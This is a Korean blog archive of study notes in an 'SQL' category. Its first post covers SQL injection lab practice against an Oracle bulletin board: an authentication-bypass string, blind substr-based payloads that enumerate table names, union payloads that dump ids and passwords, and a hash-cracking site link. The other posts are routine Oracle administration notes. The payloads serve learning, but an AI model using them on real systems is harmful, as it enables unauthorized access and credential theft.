반응형

SQL 인젝션

1. 인증 우회 공격
퀴리문 조작을 통해 인증 SQL문을 무력화 시킨다.
통상적인 계정 정보를 이용한다.
ex) admin. sys. root. adminstrator 등등

2. blind base 공격
검색창등의 입력창을 이용해서 데이터베이스에 대한 구조적인 정보를 알아내는데 사용된다.
테이블명, 컬럼명이나 컬럼의 개수, 행의 개수등을 알아낸다.

3. union base 공격
blind 공격을 통해 알아낸 정보를 기반으로 특정 테이블(인증 테이블)의 내용을 검색하는 공격이다.

1차원 패치는 쉽게 뚫림
2차원 패치는 최소한 계정명은 알아야함

blind 공격

사용되는 SQL 함수
substr (문자열, #, #)
length (문자열)

테이블명을 검색한다. (정렬된 내용중 첫번째 테이블명 검색)
테이블명의 글자 개수를 검색한다.
테이블의 컬럼명을 검색한다.

asd' or 1='1' --
sql = select id, pw, name from id where id = 'asd' or 1='1' --' and pw = DBMS_CRYPTO.Hash(to_clob(to_char('asd' or 1='1' --'||'')),2)

본문의 검색 방법
$sql = "SELECT 컬럼 리스트
FROM 게시판_테이블
WHERE 제목 LIKE '%문자열%' 
ORDER BY 게시물_번호";

select rownum r, tname from tab order by tname; -> 테이블명 검색

select tname
from (select rownum r, tname from tab order by tname)
where r=1; -> 첫번째 테이블명

select substr ((select tname
from (select rownum r, tname
from tab order by tname)
where r=1),1,1)
from dual;  -> 첫 번째 테이블명의 첫번째 글자

검색 입력 창에 다음을 입력하고 결과를 확인한다.



첫 번째 테이블 명의 첫 번째 글자가 A인지 확인한다.
A~Z, _등 입력 가능한 문자를 모두 입력해서 테이블명의 각 철자를 확인한다.

컬럼명 확인
select rownum r, column_name
from cols
where table_name = 'BOARD'
order by column_name;

컬럼의 데이터 타입 확인
select rownum r, column_name, data_type
from cols
where table_name = 'BOARD'
order by column_name;

다누리%' and substr ((select tname from (select rownum r, tname from
tab order by tname) where r=1),5,1) = 'C'--

다누리%' and substr ((select tname from (select rownum r, tname from
tab order by tname) where r=6),1,1) = 'b'--

RDBMS 정보 검색
SELECT banner FROM v$version
• 이 문장을 검색창에 union으로 삽입해서 게시판 화면에 정보가 검색되도록 한다.
• 제목 부분에 정보가 banner를 출력하는 경우
• 게시물을 검색하는 SQL문을 유추해야 한다.


%' union select 100,  '1', 'id' , 'pw', '22', 10 from v$version --
%' union select 100,  '1', id  , pw, '2' , 10 from id -- 

%' union selec 30,  '


%' union select 100, 'id', 'id' , pw, 10 from id --

%' union select 30,  'B', id , pw, 'YYYYMMDD', 10 from id --

%' union select 30,  '28', id , pw, 'YYYYMMDD', 10 from id --

https://md5.web-max.ca/index.php#enter 
-> 해시 복호화 사이트

%' union select 1,  '2' , banner, 5 from v$version --

%' union select 100,  '1', 'A' , banner , '22', 10 from v$version --

%' union select 20,  '1', SID , AMHO , 'YYYYMMDD', 10 from SARAM --

%' union SELECT banner from v$version where row num=1

select rownum r, column_name, data_type
%' union select 7,  '2', 'A', substr ((select column_name from (select rownum r, column_name from cols where table_name = 'SARAM' order by column_name) where r=1),2,1), 'a', 0 from dual--

반응형

'SQL' 카테고리의 다른 글

오라클 테이블스페이스 및 데이터 파일 관리  (0) 2022.12.27
오라클 redo log file  (0) 2022.12.27
오라클 자동실행  (0) 2022.12.27
SQL index 시퀀스  (0) 2022.12.27
오라클 Control file 확인  (0) 2022.11.17
반응형

테이블스페이스 및 데이터 파일 관리

데이터 파일은 테이블스페이스에 저장 (물리적인 데이터는 데이터파일에 저장)



절편화 현상 - 딕셔너리 테이블스페이스 

create tablespace insa
datafile '/app/ora19c/oradata/DB19/insa01.dbf' SIZE 1M;



SELECT tablespace_name, bytes, file_name FROM dba_data_files union all
SELECT tablespace_name, bytes, file_name FROM dba_temp_files; 


tablespace 늘리는 방법

1. data file의 크기를 늘리는 방법
   - 수동으로 늘리는 방법 - 환경적인 요소가 없습니다.
   - 자동으로 늘리는 방법
     .data file이 생성될때 늘어나게 설정하는 방법
     .사용중인 data file이 자동으로 늘어나게 설정하는 방법

2. data file을 추가하는 방법
   - 주로 저장매체가 추가된경우나 또는 별도의 저장매체가 준비된경우

* TS에 데이터 파일이 동일한 물리적인 저장매체에 여러개 운영되는 경우는 ...

 

CREATE TABLESPACE te
DATAFILE 
'/app/ora19c/oradata/disk1/te01.dbf' SIZE 30M,
'/app/ora19c/oradata/disk2/te02.dbf' SIZE 30M;


CREATE TABLESPACE st
DATAFILE 
'/app/ora19c/oradata/disk2/st01.dbf' SIZE 30M,
'/app/ora19c/oradata/disk1/st02.dbf' SIZE 30M;

SQL> CREATE TABLESPACE indx
DATAFILE 
'/app/ora19c/oradata/disk1/indx01.dbf' SIZE 20M,
'/app/ora19c/oradata/disk2/indx02.dbf' SIZE 20M;


-> 01.dbf부터 실행되기 때문에 io의 과부하를 방지하기 위해 disk에 01.dbf파일을 나누어 준다.



-1 언리미티드

권한이 없어도 테이블을 만들 수 있는데 테이블 만들때는 권한이 할당된다.
하지만 인서트 할때는 권한을 할당 받을 수없어 하지 못한다.


실습 8.5 Default permanent tablespace -> 기본적으로 설정된 테이블스페이스를 확인 할 수 있다.


  SELECT username, default_tablespace 
 FROM dba_users
 WHERE username IN ('TE01', 'TE02'); 

반응형

'SQL' 카테고리의 다른 글

SQL 인젝션  (0) 2022.12.27
오라클 redo log file  (0) 2022.12.27
오라클 자동실행  (0) 2022.12.27
SQL index 시퀀스  (0) 2022.12.27
오라클 Control file 확인  (0) 2022.11.17
반응형

현재 사용하는 그룹인 경우 로그 파일 스위치를 시행해야 멤버를 삭제할 수 있다.
데이터베이스가 ARCHIVELOG 모드에서 실행 중이고 멤버가 속한 로그 파일 그룹이
아카이브되지 않은 경우 그 멤버를 삭제할 수 없다.
온라인 리두 로그 파일 멤버를 삭제할 때 OMF 기능을 사용하지 않을 경우 운영 체제
파일은 삭제되지 않는다. )

Redo log file 확인
사용 명령어
SQL> SELECT A.GROUP#, A.MEMBER, B.BYTES, B.STATUS, B.SEQUENCE#
 2 FROM V$LOGFILE A, V$LOG B
 3 WHERE A.GROUP# = B.GROUP#
 4 ORDER BY 1;
 - 현재 log 그룹과 member의 운영 상황을 조회한다.
 - GROUP# : 그룹 번호
 - MEMBER : 멤버 파일의 경로 및 파일명
 - BYTES : 멤버 파일의 크기
 - STATUS : 그룹의 상태 [표 4.1]을참고 한다.

Redo log group 추가,삭제

SQL> ALTER DATABASE DROP LOGFILE GROUP [group number];
 - 지정한 redo log group을 삭제한다.

SQL> ALTER DATABASE ADD LOGFILE GROUP [group number]
 2 (['member file1', 'member file2', ... ]) SIZE [크기];
 - redo log group을 추가한다. [group number]는 생략 가능하다.

Redo log member 추가, 삭제

SQL> ALTER DATABASE DROP LOGFILE MEMBER
 2 ['member file1', 'member file2', ...];
 - 지정한 멤버 파일을 삭제한다.

SQL> ALTER DATABASE ADD LOGFILE MEMBER
 2 ['member file'] TO GROUP [group nember],
 3 ... ;
 - redo log 멤버 파일을 지정한 그룹에 추가한다. 

아카이브 로그 모드
명령어로 작업을 수행하면 모든 작업 내용이 리두로그 파일 그룹에 저장된다.
작업의 양이 많아 지면 기록하는 데이터의 양도 많아지게 되는데 이때 리두그룹의 용량을
벗어나는 부분은 다른 리두그룹에 저장되게 되고 처음에 작업내용이 저장된 리두파일 그룹은
incative 상태가 된다. 이렇게 작업내용이 그룹에 저장되면서 모든 그룹에 용량이 부족해지면
새로운 작업내용을 이전 작업내용에 덮여 쓰여 작업내용이 지워지게 되어 이전에 작업했었던
작업내용의 데이터 손실이 발생하면 복구하기 어렵다는 단점이 있다. 이런 단점을 해결하기 위한
방법이 리두로그파일의 내용을 다른 디렉토리에 자동으로 복사하여 저장하도록 운영하는 방법을
아카이브 로그모드라고 한다. 아카이브로그모드가 실행중이고 멤버가 속한 로그 파일 그룹이
아카이브 되지 않았을 경우 그 멤버를 삭제 할 수 없다.


col name format a100
select a.group#, a.member, b.bytes, b.status, b.sequence#
from v$logfile a, v$log b
where a.group# = b.group#
order by 1;

반응형

'SQL' 카테고리의 다른 글

SQL 인젝션  (0) 2022.12.27
오라클 테이블스페이스 및 데이터 파일 관리  (0) 2022.12.27
오라클 자동실행  (0) 2022.12.27
SQL index 시퀀스  (0) 2022.12.27
오라클 Control file 확인  (0) 2022.11.17
반응형

관리자 접속을 위한 패스워드 파일 생성
- 환경 SID : DB19

orapwd
file = 패스워드파일
password = 사용할 패스워드
force = [Y/N] 패스워드 파일이 있을 경우 강제 생성
format = 호환버전 ( 12이하로 지정하면 패스워드에 특수문자 불필요)
entries = 인원수

# orapwd file=$ORACLE_HOME/dbs/orapwDB19 password=사용할비밀번호 force=y format=12

접속명령어
# sqlplus sys/비밀번호@데이터베이스 호스트이름 as sysdba

오라클 자동 실행
- 환경 ORACLE_OWNER : ora19c
     $ORACLE_HOME  : /app/ora19c/19c
     $ORACLE_SID   : DB19

1. /etc/oratab 파일 수정
$ORACLE_SID:$ORACLE_HOME:Y를 추가 한다.
-> # cat /etc/oratab
   .........
   .........
   DB19:/app/ora19c/19c:N -> DB19:/app/ora19c/19c:Y로 변경

2. /etc/rc.d/rc.local 에 실행 스크립트를 추가 한다.
-> # cat /etc/rc.d/rc.local
   .........
   .........
   su - ora19c -c /app/ora19c/19c/bin/"lsnrctl start"    -> ora19c 계정의 권한으로 lsnrctl 파일을 실행하게 해준다.
                                                            (su - ora19c : ora19c 계정 , -C : 실행,
             /app/ora19c/19c/bin/"lsnrctl start" : lsnrctl 파일의 위치와 실행옵션까지 쓰려면 " "붙여야한다.)
   
   su - ora19c -c /app/ora19c/19c/bin/dbstart            -> ora19c 계정의 권한으로 데이터베이스를 실행시킨다.


* CentOS 7은 /etc/rc.d/rc.local 파일에 x 퍼미션이 없다 반드시 퍼미션을 추가한다.
  -> ls -l /etc/rc.d/rc.local 파일의 퍼미션을 보고 x 퍼미션이 없을 시
     chmod 명령어로 x 퍼미션을 추가한다.

col name format a40

반응형

'SQL' 카테고리의 다른 글

오라클 테이블스페이스 및 데이터 파일 관리  (0) 2022.12.27
오라클 redo log file  (0) 2022.12.27
SQL index 시퀀스  (0) 2022.12.27
오라클 Control file 확인  (0) 2022.11.17
오라클 관리자 실습 과정  (0) 2022.11.15
반응형

sql index
관리지향적

프라이머리 키나 유니크 키를 만들면 인덱스를 만들어준다.

스캔 두가지 : 풀테이블스캔 , 인덱스스캔

테이블의 데이터는 정렬해서 들어가지 않지만
인덱스에서는 정렬해서 저장된다.

풀테이블스캔 : 위에서부터 데이터를 찾는데 데이터를 찾았다고해도 중복되는 데이터가 있을 수도 있어서
            끝까지 다 스캔한다.

인덱스스캔 : 인덱스에 정렬된 데이터의 가운데부터 물어봐서 찾으려는 데이터보다 큰지 작은지 물어보고
          만약 크다면 아래는 스캔하지 않고 위쪽의 가운데부터 다시 물어보는 식으로 범위를 좁혀나가서
          데이터를 찾는다.

고유 인덱스 (Unique index)        : 인덱스 값이 중복되지 않는다.
-자동 생성 : PK, UK 가 설정된 컬럼에 자동 생성된다.

비 고유 인덱스 (Non unique index)  : 인덱스 값이 중복될수도 있다.
-create index 명령으로 생성한다.

 인덱스 사례
 - 전체 데이터의 10%~15% 정도의 데이터를 검색하는 경우
 - WHERE 절이나 조인에 사용되는 컬럼
 - 데이터의 행이 매우 많은 경우
 - FK 컬럼!!


비 고유 인덱스는 삭제할 수있지만 고유 인덱스는 제약조건을 제거하면 삭제된다.


프라이머리 키를 두개의 컬럼을 묶어서 만들면 인덱스또한 두개의 컬럼을 묶은 상태로 인덱스가 만들어지며
COLUMN_POSITION 에 1, 2 로 위치가 앞뒤로 표기 된다. 어떤 컬럼이 먼저 정렬되있는지가 굉장히 중요하다.

인덱스 조회 명령어

SELECT i.table_name, i.index_name, c.column_name, c.column_position, i.uniqueness
 FROM user_indexes I, user_ind_columns c
 WHERE c.index_name = i.index_name
 AND i.table_name IN ('STUDENT', 'PROFESSOR', 'COURSE', 'SCORE')
 ORDER BY i.table_name;

select c.table_name, c.constraint_name, c.constraint_type, s.column_name
from user_constraints c, user_cons_columns s
where c.constraint_name = s.constraint_name
and c.table_name IN ('STUDENT', 'PROFESSOR', 'COURSE', 'SCORE')
ORDER BY c.table_name, c.constraint_name;

논 유니크 인덱스 생성
create index course_pno_fk
on course (pno);
create index score_cno_fk
on score (cno);

select i.table_name, i.index_name, c.column_name, c.column_position, i.uniqueness
from user_indexes i, user_ind_columns c
where c.index_name = i.index_name
and i.index_name LIKE '%FK'
order by c.table_name;

create index student_sname_indx
on student (sname);
create index student_major_sname_indx
on student (major, sname);
create index student_coavr_indx
on student (avr*4.5/4.0);

select c.index_name, c.column_name, c.column_position, i.uniqueness
from user_indexes i, user_ind_columns c
where c.index_name = i.index_name
and c.table_name = 'STUDENT'
order by c.index_name, c.column_position;


인덱스 삭제

select c.index_name, c.column_name, c.column_position, i.uniqueness
from user_indexes i, user_ind_columns c
where c.index_name = i.index_name
and c.table_name = 'STUDENT';

논유니크 인덱스 삭제
drop index student_major_sname_indx;

유니크 인덱스 삭제
alter table student drop constraint student_sno_pk CASCADE;


인덱스 
컬럼의 물리적인위치 rowid도 저장

뷰(VIEW) 물리적인 공간을 차지 하지 않는다.(alter는 없음)
         테이블을 임의로 볼 수 있는 창문
검색하는 용도로 사용한다.
수정할땐 지우고 새로 만들면 된다.

SQL> CREATE [OR REPLACE][FORCE | NOFORCE] VIEW 뷰 (컬럼 ... )
 2 AS (SELECT 문장 : sub query)
 3 [WITH CHECK OPTION [CONSTRAINT constrant_name]]
 4 [WITH READ ONLY [CONSTRAINT constrant_name]];


SQL> SELECT view_name, text FROM user_views;
SQL> SET LONG 1000 (1000바이트까지 출력)

뷰는 상위 계정에서 사용하는데 관리자 계정으로 접속해서 해당 계정에게 만들 수 있는 권한을 할당할 수 있다.
C:\...\>sqlplus / as sysdba
SQL> GRANT create view TO st;
권한이 부여되었습니다.

테이블 사용하는 것과 똑같이 사용하면 된다.

단순 뷰는 insert 할 수 있다.하지만 insert 하지 않는게 원칙이다. (뷰에 보이지않는 데이터도 insert 될 수도 있다.)
방지방법 WITH CHECK OPTION CONSTRAINT view_뷰이름_ck;

뷰를 만드는 이유는 복잡한 sql문을 사용하기 어려운 개발자들을 위해 데이터베이스 튜너가 만들어준다.

시퀀스
시퀀스 넘버 ( ex)게시물 번호 ) : 값을 구별은 되지만 값의 의미는 없음 (cycle로 중복될수도 있지만 사용하지 않는다.),
                            어떤 번호를 받을지는 모른다.

시퀀스 생성
SQL> CREATE SEQUENCE 시퀀스 
 2 [ START WITH 시작_값             -> 몇번부터 시작할지 (한번만들면 수정 불가)
 3 INCREMENT BY 증가_값             -> 얼마씩 증가할지 (기본값1)
 4 MAXVALUE [상한_값 | NOMAXVALUE]  -> 몇번까지 줄건지 (기본으로는 상한선이 없음)
 5 MINVALUE [하한_값 | NOMINVALUE]  
 6 CYCLE | NOCYCLE                 -> nocycle이 기본, cycle은 거의 안씀
 7 CACHE [cache_개수| NOCACHE]];    

SQL> CREATE SEQUENCE 시퀀스;    -> 기본값으로 시퀀스가 만들어진다.

SQL> ALTER SEQUENCE 시퀀스 
 2 INCREMENT BY 증가_값 
 3 MAXVALUE [상한_값 | NOMAXVALUE]
 4 MINVALUE [하한_값 | NOMINVALUE]
 5 CYCLE | NOCYCLE 
 6 CACHE cache_개수| NOCACHE;



시퀀스 삭제
SQL> DROP SEQUENCE 시퀀스;



시퀀스를 추가 할 수 있다.
SQL> ... 시퀀스.NEXTVAL ... 
SQL> ... 시퀀스.CURRVAL ...

반응형

'SQL' 카테고리의 다른 글

오라클 redo log file  (0) 2022.12.27
오라클 자동실행  (0) 2022.12.27
오라클 Control file 확인  (0) 2022.11.17
오라클 관리자 실습 과정  (0) 2022.11.15
오라클 컨트롤파일  (0) 2022.11.08
반응형

 

 

 

 

Control file 확인

 

SQL> SELECT NAME FROM V$CONTROLFILE;      - 사용 중인 control file의 목록을 조회한다.

 

 

 

 

3-2 Spfile 환경에서 contril file 다중화 실습

 

- Spfile을 사용하는 환경에서 다음 step에 따라 control file을 /app/ora19c/oradata/disk4, 
 /app/ora19c/oradata/disk5에 분산 배치한다.
 step 1. DB의 상태를 확인한다.
 step 2. control_files 파라미터를 수정한다.
 step 3. DB를 SHUTDOWN 한다.
 step 4. 파라미터에 정의한 것과 같이 control file의 물리적 상태를 수정한다.
 step 5. DB를 STARTUP 한다.

 

/app/ora19c/oradata/ 디렉토리 안에 disk1,2,3,4,5 디렉토리를 만들어 준다.

 

 

DB의 상태를 확인하고 control_files의 위치를 disk4와 disk5로 옮긴다고 입력해주고  shutdown immediate 한다.

 

오라클이 startup 하지 않은 상태에서 control01, control02 file을 DB19디렉토리에서 disk4, disk5 디렉토리로 옮겨준다.

startup으로 오라클을 open하여 controlfile이 disk4와 disk5에 들어 있는지 확인한다.

반응형

'SQL' 카테고리의 다른 글

오라클 자동실행  (0) 2022.12.27
SQL index 시퀀스  (0) 2022.12.27
오라클 관리자 실습 과정  (0) 2022.11.15
오라클 컨트롤파일  (0) 2022.11.08
오라클 파라미터 파일  (0) 2022.11.08
반응형

목차

1....................................... 오라클 startup과 shutdown

                                          1)오라클 시작과 종료

                                          2)단계별 startup 과정

                                          3)shutdown 옵션의 이해

                                          4)readonly 상태의 이해와 실습

2....................................... Parameter file 관리

                                          1)parameter file 확인

                                          2) spfile 환경에서 파라미터 확인과 수정

                                          3) Spfile 운영 환경에서 scope 설정에 따른 parameter 값의 변화

 

3....................................... Control file 관리

                                          1) Control file 확인

                                           2) Spfile 환경에서 contril file 다중화 실습

 

4....................................... Redo log file 관리

                                           1) Redo log file 확인

1-1)오라클 시작과 종료

 

SQL> STARTUP [NOMOUNT | MOUNT | OPEN [READ ONLY | READ WRITE]]

STARTUP : 오라클을 시작한다. (SHUTDOWN 상태에서만 사용 가능하다.)

NOMOUNT : NOMOUNT 단계까지 오라클을 시작한다.

MOUNT : MOUNT 단계까지 오라클을 시작한다.

OPEN : OPEN 단계까지 오라클을 시작한다.

READ ONLY : DB를 읽기전용으로 시작한다.

READ WRITE : DB를 읽기쓰기 상태로 시작한다.

'_'은 default 값을 의미한다.

 

SQL> SHUTDOWN [ IMMEDIATE | TRANSACTIONAL | NORMAL| ABORT ]
 - 오라클을 종료한다.

 

1-2)단계별 startup 과정

                                          

STARTUP 과정

SQL> ALTER DATABASE [ MOUNT | OPEN [ READ ONLY | READ WRITE ]];
 - DB가 SHUTDOWN 상태가 아니라 NOMOUNT나 MOUNT 상태인 경우 오라클을 더 상위 단계로 올리기 
 위해 사용한다.
 NOMOUNT 상태의 DB를 한 번에 OPEN 상태로 올릴 수는 없다.
 MOUNT : MOUNT 단계로 DB를 변경한다.
 OPEN: OPEN 단계로 DB을 변경한다.
 READ ONLY : DB를 읽기전용으로 OPEN한다.
 READ WRITE : DB를 읽기쓰기 상태로 OPEN한다.
SQL> SELECT STATUS FROM V$INSTANCE;
 - DB의 상태를 확인한다.
 - STATUS 칼럼의 값은 DB의 상태를 나타낸다.

1-3)shutdown 옵션의 이해

 

NORMAL : 현재 사용 중인 모든 접속이 종료되길 기다린다. (기본값)

TRANSACTIONAL : 진행 중인 TRANSACTION은 기다려주지만 TRANSACTION이 진행 중이지 않은 세션은 강제 종료 시킨다.

IMMEDIATE : 모든 TRANSACTION 과 접속을 강제로 종료한다.

ABORT : DB의 상태와는 상관없이 메모리에서 INSTANCE를 해제한다.

 

SQL> SHUTDOWN [ IMMEDIATE | TRANSACTIONAL | NORMAL| ABORT ]
 - 오라클을 종료한다.

 

4)readonly 상태의 이해와 실습

 

SQL> STARTUP OPEN READ ONLY;   - 종료 상태의 DB를 읽기전용으로 OPEN한다.
SQL> ALTER DATABASE OPEN READ ONLY;   - MOUNT 상태의 DB를 읽기 전용으로 OPEN한다.
SQL> SELECT OPEN_MODE FROM V$DATABASE;   - 데이터베이스의 상태를 조회한다.
                                                                                        - READ ONLY와 READ WRITE 상태가 있다.

 

 

read only로 startup

read only로 startup시 일반 사용자 터미널에서는 테이블을 읽을 순 있지만 테이블을 삭제하지는 못한다.

 

 

2-1parameter file 확인

 

SQL> SELECT name, value FROM V$PARAMETER;    - Parameter 이름과 설정된 값을 확인한다.
SQL> SHOW PARAMETER <parameter 명>   - 설정된 parameter 값을 확인 한다.

 

parameter의 설정된 값과 이름, 위치를 확인 할 수 있다.

 

 

2-2 spfile 환경에서 파라미터 확인과 수정

 

SQL> ALTER SYSTEM SET <parameter 명> = <값>;    - 지정한 파라미터의 값을 수정한다.
                                                                                        - spfile 사용 환경에서 설정된 파라미터 값은 항구적으로 수정된다.
                                                                                        - 동적인 파라미터만 수정 가능하다.

 

 

SQL> SELECT NAME, VALUE FROM V$PARAMETER;    - 현재 운영중인 parameter 값을 조회한다.
                                                                                              - 'SHOW PARAMETER ~'에 출력 값과 동일하다.

 

SQL> SELECT NAME, VALUE FROM V$SPPARAMETER;  - spfile에 설정된 값을 조회한다.

 

SQL> select name, value from v$spparameter where name like '%undo%';

 

 

 

SQL> select name,value from v$parameter where name like '%undo%';
SQL> show parameter undo;

 

alter 명령어를 이용하여 undo_retention의 값을 300으로 변경

 

 

shutdown 후 startup 해서도 변경된 값이 저장되어 있다.

 

2-3 Spfile 운영 환경에서 scope 설정에 따른 parameter 값의 변화

 

SQL> ALTER SYSTEM SET <parameter 명> = <값> SCOPE = [SPFILE | MEMORY | BOTH];
 - 지정한 parameter의 값을 수정한다. 
 - SCOPE 절은 spfile 운영 환경인 경우만 사용한다.
 - SPFILE : spfile만 수정한다. (정적 parameter 수정에서는 필수이다.)
 - MEMORY : 현재 DB의 parameter 설정 값만 수정한다. spfile은 수정하지 않음으로 DB를 재시작하면
 원래 설정 값으로 환원된다.
 - BOTH : spfile과 instance의 설정된 parameter값을 모두 수정한다.(default값)

 

 

3-1 Control file 확인

 

SQL> SELECT NAME FROM V$CONTROLFILE;      - 사용 중인 control file의 목록을 조회한다.

 

 

 

 

3-2 Spfile 환경에서 contril file 다중화 실습

 

- Spfile을 사용하는 환경에서 다음 step에 따라 control file을 /app/ora19c/oradata/disk4, 
 /app/ora19c/oradata/disk5에 분산 배치한다.
 step 1. DB의 상태를 확인한다.
 step 2. control_files 파라미터를 수정한다.
 step 3. DB를 SHUTDOWN 한다.
 step 4. 파라미터에 정의한 것과 같이 control file의 물리적 상태를 수정한다.
 step 5. DB를 STARTUP 한다.

 

/app/ora19c/oradata/ 디렉토리 안에 disk1,2,3,4,5 디렉토리를 만들어 준다.

 

 

DB의 상태를 확인하고 control_files의 위치를 disk4와 disk5로 옮긴다고 입력해주고&nbsp; shutdown immediate 한다.

 

오라클이 startup 하지 않은 상태에서 control01, control02 file을 DB19디렉토리에서 disk4, disk5 디렉토리로 옮겨준다.
startup으로 오라클을 open하여 controlfile이 disk4와 disk5에 들어 있는지 확인한다.

 

 

4-1) Redo log file 확인

 

SQL> SELECT A.GROUP#, A.MEMBER, B.BYTES, B.STATUS, B.SEQUENCE#
 2 FROM V$LOGFILE A, V$LOG B
 3 WHERE A.GROUP# = B.GROUP#
 4 ORDER BY 1;
 - 현재 log 그룹과 member의 운영 상황을 조회한다.
 - GROUP# : 그룹 번호
 - MEMBER : 멤버 파일의 경로 및 파일명
 - BYTES : 멤버 파일의 크기
 - STATUS : 그룹의 상태 [표 4.1]을참고 한다.
SQL> ARCHIVE LOG LIST
 - Archive log 관련 내용을 조회한다.
 - Archive log mode가 아닌 경우 조회된 내용은 별 의미가 없다.

 

SELECT a.group#, a.member, b.bytes, b.status, b.sequence# FROM v$logfile a, v$log b WHERE a.group# = b.group# ORDER BY 1;
ARCHIVE LOG LIST

 

4-2) Log switch와 checkpoint

 

SQL> ALTER SYSTEM SWITCH LOGFILE;
 - Log switch를 강제로 발생 시킨다.
SQL> ALTER SYSTEM CHECKPOINT;
 - Check point를 강제로 발생 시킨다.

 

SELECT a.group#, a.member, b.bytes, b.status, b.sequence#
FROM v$logfile a, v$log b
WHERE a.group# = b.group#
ORDER BY 1; 를 이용하여 현재 redo파일의 상태를 확인한다.

 

ALTER SYSTEM SWITCH LOGFILE;  명령어로 Log switch를 강제로 발생시켜 상태를 변경시킨다.

ALTER SYSTEM CHECKPOINT;  명어로 Check point를 강제로 발생시킨다.

 

SQL> !vi switch.sql   < switch.sql을 만들고 switch 와 checkpoint 강제로 발생시키게 내용을 입력해준다.
ALTER SYSTEM SWITCH LOGFILE;
ALTER SYSTEM CHECKPOINT;

 

@switch 명령어를 사용하면 안에 입력한 내용이 실행되면서 Log switch와 checkpoint를 강제로 발생시킨다.

 

4)3 Redo log group 추가와 삭제

 

SQL> ALTER DATABASE DROP LOGFILE GROUP [group number];
 - 지정한 redo log group을 삭제한다.
SQL> ALTER DATABASE ADD LOGFILE GROUP [group number]
 2 (['member file1', 'member file2', ... ]) SIZE [크기];
 - redo log group을 추가한다. [group number]는 생략 가능하다.

 

 

ALTER DATABASE DROP LOGFILE GROUP 3;  명령어로 GROUP 3이 삭제되었다.

 

!ls /app/ora19c/oradata/DB19/ 를 해보면 안에 redo03.log 파일이 남아 있는데

!rm /app/ora19c/oradata/DB19/redo03.log 명령어로 삭제해 준다.

 

ALTER DATABASE ADD LOGFILE GROUP 4
'/app/ora19c/oradata/DB19/redo04.log' SIZE 50M;  용량이 50M인 LOGFILE GROUP 4를 만들어준다.

 

SELECT a.group#, a.member, b.bytes, b.status, b.sequence#
FROM v$logfile a, v$log b
WHERE a.group# = b.group#
ORDER BY 1;

조회결과 용량 50M의 LOGFILE GROUP 4가 생성된 것을 확인 할 수 있다.

 

 

ALTER DATABASE ADD LOGFILE GROUP 5
'/app/ora19c/oradata/DB19/redo05.log' SIZE 50M;  명령어로 50M의  LOGFILE GROUP 5가 생성되었다.

 

 

 

 

4-5) Redo log file 재배치

 

- redo log 그룹과 member를 시스템 상태에 다음 조건에 따라 재배치한다.
 . /app/ora19c/oradata/DB19 디렉토리에 위치한 redo log file을 3개의 그룹과 2개의 멤버 파일로 서로 다른 
 디스크의 마운트 디렉토리인 disk4와 disk5에 다중화 한다.
 . 단 그룹의 번호는 1,2,3으로, 멤버 파일의 크기는 50M로 제한한다.

현재 redo log file group을 확인한다.

 

 

GROUP 1, 2를 삭제 해준다.

 

 

GROUP 1,2,3,의 redo log file을 용량50M로 disk4와 disk5에 위치하게 생성한다.

 

 

GROUP 4, 5를 삭제한다.
SELECT a.group#, a.member, b.bytes, b.status, b.sequence# FROM v$logfile a, v$log b WHERE a.group# = b.group# ORDER BY 1; 명령어로 각각의 redo log file group의 위치와 정보를 확인한다.

 

DB19 디렉토리에 남은 log파일을 확인하고 지워준다.

 

 

실습 5.4 Tablespace 확장 2 - 자동

 

OPEN 상태에서 tablespace 이동

 

SQL> CREATE TABLESPACE <tablespace명> 
 2 DATAFILE '<data file명>' SIZE <크기>
 3 AUTOEXTEND ON NEXT <크기> MAX SIZE <크기>;
 - 자동으로 커지는 data file을 갖는 tablespace를 생성한다.
 - NEXT : 증가치
 - MAX SIZE : 최대 크기 
SQL> ALTER TABLESPACE <tablespace명>
 2 ADD DATAFILE '<추가될 data file명>' SIZE <크기>
 3 AUTOEXTEND ON NEXT <크기> MAX SIZE <크기>;
 - tablespace에 자동으로 커지는 data file을 추가 한다.
SQL> ALTER DATABASE
 2 DATAFILE '<변경할 data file명>
 3 AUTOEXTEND [ON | OFF] NEXT <크기> MAX SIZE <크기>;
 - 지정한 data file을 자동증가를 설정한다.

 

 

 

 

 

User 생성과 관리

1) User 조회

 

SQL> SELECT username, default_tablespace, temporary_tablespace,
 2 account_status, profile
 3 FROM dba_users;
 - User의 이름과 각 user의 여러 설정 사항을 조회한다. 
 - USERNAME : 사용자명
 - DEFAULT_TABLESPACE : 기본으로 사용할 tablespace명
 - TEMPORARY_TABLESPACE : 사용할 temporary tablespace명
 - ACCOUNT_STATUS : 계정의 상태 
 - PROFILE : 사용 중인 profile명

 

 

 

SQL> DESC dba_users;

 

SQL> SELECT username, default_tablespace, temporary_tablespace, account_status, profile FROM dba_users&nbsp;ORDER BY 1;

 

2) User 생성

SQL> CREATE USER <user 명> 
 2 IDENTIFIED BY <암호>
 3 DEFAULT TABLESPACE <tablespace 명>
 4 TEMPORARY TABLESPACE <tablespace 명>
 5 QUOTA <크기> ON <tablespace 명>, ...... 
 6 [ACCOUNT {LOCK / UNLOCK}]
 7 [PROFILE {<profile명> / DEFAULT}] 
 - User를 생성한다.
 - DEFAULT TABLESPACE : User의 기본 tablespace
 - TEMPORARY TABLESPACE : User의 기본 temporary tablespace
 - QUOTA : tablespace별 허용된 저장량
 - ACCOUNT : 계정 잠금 설정
 - PROFILE : 적용될 PROFILE 지정
 - CREATE 문장은 ALTER 문장과 형식이 동일하다.
SQL> SELECT username, tablespace_name, max_bytes, max_blocks FROM dba_ts_quotas;
 - 각 사용자의 tablespace별 quota량을 조회한다.
 - MAX_BYTES : 할당된 quota량 (byte단위)
 - MAX_BLOCKS : 할당된 quota량 (block개수)
 - quota가 unlimited로 지정되어 제한하지 않는 경우 -1로 표시된다.

 

SQL> SELECT tablespace_name, bytes, file_name FROM dba_data_files;

 

 

 

반응형

'SQL' 카테고리의 다른 글

SQL index 시퀀스  (0) 2022.12.27
오라클 Control file 확인  (0) 2022.11.17
오라클 컨트롤파일  (0) 2022.11.08
오라클 파라미터 파일  (0) 2022.11.08
오라클 스타트업  (0) 2022.11.08
반응형

컨트롤파일 관리
파일명에는 경로명이 반드시 들어가야한다.
v$ 데이터딕셔너리캐시에 만들어지는데 셧다운하면 없어진다.

 

SQL> SELECT NAME FROM V$CONTROLFILE;
 - 사용 중인 control file의 목록을 조회한다.

 

SQL> SHOW PARAMETER control_files

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
control_files                        string      /app/ora19c/oradata/DB19/control01.ctl, 

